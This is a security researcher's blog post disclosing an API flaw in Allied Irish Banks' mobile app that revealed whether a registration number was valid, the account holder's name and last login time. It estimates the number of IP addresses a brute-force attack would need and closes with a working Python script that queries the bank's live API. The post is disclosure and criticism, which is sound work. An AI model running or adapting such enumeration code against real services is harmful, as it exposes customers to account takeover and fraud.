Security Theatre at Allied Irish Banks, Act 2

In summary: AIB recently became even less secure online

[Good news: some time in early-to-mid 2016 AIB silently closed the vulnerability discussed below. However the "birthdate as registration number" issue remains.]

Several months ago I wrote a few words about lax online security at Allied Irish Banks. Subsequently things got worse. Security is hard and even banks will make mistakes but I would prefer if AIB had more of an appetite to do better than appears to be the case.

In August, or thereabouts, the bank released a new version of its mobile app which makes use of a new interface for communicating with its servers, i.e., a new API. Unfortunately this API leaks personal information in a way that its predecessor did not. Specifically, given an 8-digit registration number, it is easy to carry out each of the following without attempting to log-in:

  1. Determine whether the registration number is valid.
  2. Obtain the name of the account holder, if the number is valid.
  3. Obtain the last log-in time of the account holder, if the number is valid.

A great many accounts at AIB are already far less secure than they should be because the first six digits of their 8-digit registration number are the account holder's birthdate. This means that they are soft targets for brute-force attacks and (a) above makes such an attack substantially easier to execute. In addition, (b) and (c) create enormous possibilities for somebody interested in attempting a social engineering-based attack.

What about AIB's "multi-layered approach"?

AIB claims that we need not worry about apparent weaknesses in its online security because it takes a "multi-layered approach".

The possible tools which the bank's intrusion detection system could (and hopefully does) employ are essentially:

With only a little trouble, an attacker can render her/himself completely immune to the first two attempted defenses (though it might require running an attack gradually). That really just leaves IP address blocking and so an important metric by which to judge the system's security is the number of IP addresses a person needs to control before they can expect to gain access to an account by means of brute-force attack. Let's look at this metric for a hypothetical, very conservative policy that permanently blocks an IP address as soon as it either: This is more conservative than AIB's policy (probably by a very long way).

By executing a brute-force algorithm along the lines outlined here and using a script like this to test whether registration numbers are valid, if we conservatively assume there are just 200,000 accounts with birthday-style registration numbers (spread evenly over people aged 18 – 60, with uniformly-random final two digits) then the minimum number of IP addresses one needs to control in order to have better-than-even chance of gaining access to an account is: $$ \frac{1}{y}\frac{(60-18) \times 365 \times 100}{200,000}\cdot 231 + \frac{1}{x}231 \doteq 470 $$ (The number 231 arises since there is a 3 in 1,000 chance of guessing the requested digits of the Personal Access Code and \( \log(1/2)/\log(1-3/1000) \doteq 231 \) independent Bernoulli trials with this success probability have better-than-even chance of at least one success.)

In other words, the median number of IP addresses required is 470. For completeness, the mean is: $$ \frac{1}{y}\frac{(60-18) \times 365 \times 100}{200,000}\frac{1000}{3} + \frac{1}{x}\frac{1000}{3} \doteq 678 $$

In other words, with control of just 470 IP addresses, a person of malicious intent has a better-than-even chance of breaching an account, even assuming extremely conservative intrusion detection parameters on the part of the bank and with a conservative estimate of the numer of bithday-style registration numbers. An hour's use of 1,000 IP addresses apparently costs about only $25 and along the way, the names and last log-in times of hundreds of accounts will be obtained.
AIB say they are secure but I think this is just not good enough.

A few technical details

In their new app, the bank have gone to some trouble to put some extra security in place. While this is welcome, metaphorically they're putting bars on windows while paying no attention to the extremely flimsy lock on the front door.

They're now using SSL Pinning so that it is only possible to view their traffic by running the app on a device with an SSL kill switch enabled. With that done, by routing traffic through something like Charles Proxy one can see the content of the HTTP requests.

However after a couple of requests that become plaintext after SSL decryption, and which constitute a Diffie-Hellman handshake, all subsequent requests are AES-encrypted, initially using a 1024-bit key derived from the secret generated in the handshake, and subsequently using keys derived from a new secret supplied in each (doubly-encrypted) response. Although it took a few hours to unravel this logic, the exercise was essentially straightforward.

You can see an example of the bank's Diffie-Hellman handshake by clicking the button below and you'll get a free 1024-bit prime for your trouble:

By decompiling the Android app, it's fairly easy to see what's going on but by far the most useful possibility is to be able to watch a plaintext version of the conversation that takes place between the bank's mobile app and the server. In order to realise this I threw together an (extremely ugly) Java webserver and set it up to act as a man in the middle between an instance of the app and the bank's servers. My man in the middle decrypted and logged all traffic before re-encrypting and forwarding it on. With this data in hand, it was easy to do whatever I wanted.

What does one of those responses look like after decryption?

This is the type of response that is obtained after supplying a valid 8-digit registration number. Note that the server is asking for digits 1, 2 and 3 of the 5-digit Personal Access Code (PAC) since log-in has not yet taken place but is already revealing that the registration number is valid by providing the name on the account, as well as various other fields.

{
  "data": {
    "name": "MR RONALD EUSTACE PSMITH",
    "lastLogin": "Saturday, 12/09/2015, 12:34:56",
    "customerStatus": "P",
    "pacPosition1": 1,
    "pacPosition2": 2,
    "pacPosition3": 3,
    "quickBalanceRegistered": false,
    "deviceRegistered": false,
    "features": [
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_AMEND_BILL"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_DELETE_BILL"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "ANALYTICS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "NO_DATA_IN_ANALYTICS_TAGS"
      },
      {
        "accessLevel": "default",
        "available": false,
        "name": "QUICKBAL_LOAD_ON_BUTTON_PRESS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "QUICK_BALANCE_REMINDER"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "LOAN_PURPOSE_ICONS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "QUICK_BALANCE_TUTORIAL"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "PAYEE_ADD_ACCOUNT"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_ADD"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_DELETE_ACCOUNT"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "PAYEE_AMEND_ACCOUNT"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "PAYEE_AMEND_CREDIT_CARD"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "PAYEE_ADD_CREDIT_CARD"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_ADD_BILL"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PAYEE_AMEND"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PERLEND_LOAN"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "Online_Overdraft"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "PERLEND_TOPUP"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "ONLINE_LOANS"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "FUNDS_TRANSFER_ROI_ONE-OFF"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "FUNDS_TRANSFER_ROI_PROFILE"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "FUNDS_TRANSFER_OWN_ACCOUNTS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "DIRECT_DEBITS_VIEW"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "DIRECT_DEBITS_DETAILS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "DIRECT_DEBITS_CANCEL"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "DIRECT_DEBITS_TRANSACTIONS"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "VISA_DEBIT_CARD_LOST_STOLEN"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "CREDIT_CARD_LOST_STOLEN"
      },
      {
        "accessLevel": "elevated",
        "available": true,
        "name": "BILL_PAY_CREDIT_CARD"
      },
      {
        "accessLevel": "default",
        "available": true,
        "name": "BILL_PAY"
      }
    ],
  },
  "statusCode": "0",
  "statusMessage": "Success",
  "transactionKey": "e713eec72bb4913892a6aabd41afb864"
}
    

Show me the code!

This repository on GitHub, quoted below, demonstrates that the basic mechanism can be implemented in fewer than 50 lines of Python:

import requests, json, hashlib, urllib, binascii, base64, uuid, Crypto.Random, Crypto.Cipher.AES as AES

base_url = 'https://onlinebankingservices.aib.ie/inet/roi/api/'
deviceId = str(uuid.uuid4())
regNumber = raw_input('Please enter your 8-digit registration number: ')

def DHParametersFromGenerateResponseBody(body):
    data = json.loads(body)['data']
    p, g, by = map(int, (data['p'], data['g'], data['y']))
    ax = 2 # Our chosen Diffie-Hellman "secret" key.
    return (p, g, by, ax, g**ax % p)

def derivedKeyFromDHKeys(ax, by, p):
    hexEncodedDHSecret = format(by**ax % p, 'x')
    passPhrase = binascii.hexlify(hashlib.md5(deviceId + hexEncodedDHSecret + deviceId).digest())
    cipherSalt = passPhrase[:16]
    return hashlib.pbkdf2_hmac('sha1', passPhrase, cipherSalt, 1000, 16)

def PKCS7Pad(s, block_size = 16):
    n = block_size - len(s) % block_size
    return s + n * chr(n)

def PKCS7Unpad(s):
    return s[:-ord(s[-1])]

def encryptRequestBody(derivedKey, body):
    iv = Crypto.Random.new().read(AES.block_size)
    cipher = AES.new(derivedKey, AES.MODE_CBC, iv)
    encryptedBody = cipher.encrypt(PKCS7Pad(body))
    return [('param1', deviceId),
            ('param2', base64.b64encode(encryptedBody)),
            ('param3', base64.b64encode(iv))]

def decryptResponseBody(derivedKey, body):
    body_dict = json.loads(body)
    iv = base64.b64decode(body_dict['data2'])
    cipher = AES.new(derivedKey, AES.MODE_CBC, iv)
    decryptedBody = PKCS7Unpad(cipher.decrypt(base64.b64decode(body_dict['data1'])))
    return json.loads(decryptedBody)

r = requests.post(base_url + 'handshake/generate.htm', data=[('deviceId', deviceId), ('mode', 'y')])
p, g, by, ax, ay = DHParametersFromGenerateResponseBody(r.content)
derivedKey = derivedKeyFromDHKeys(ax, by, p)

requests.post(base_url + 'handshake/verify.htm', data=[('deviceId', deviceId), ('y', ay)])

r = requests.post(base_url + 'user/login.htm', data=encryptRequestBody(derivedKey, urllib.urlencode([('deviceId', deviceId), ('regNumber', regNumber)])))
response_dict = decryptResponseBody(derivedKey, r.content)
print response_dict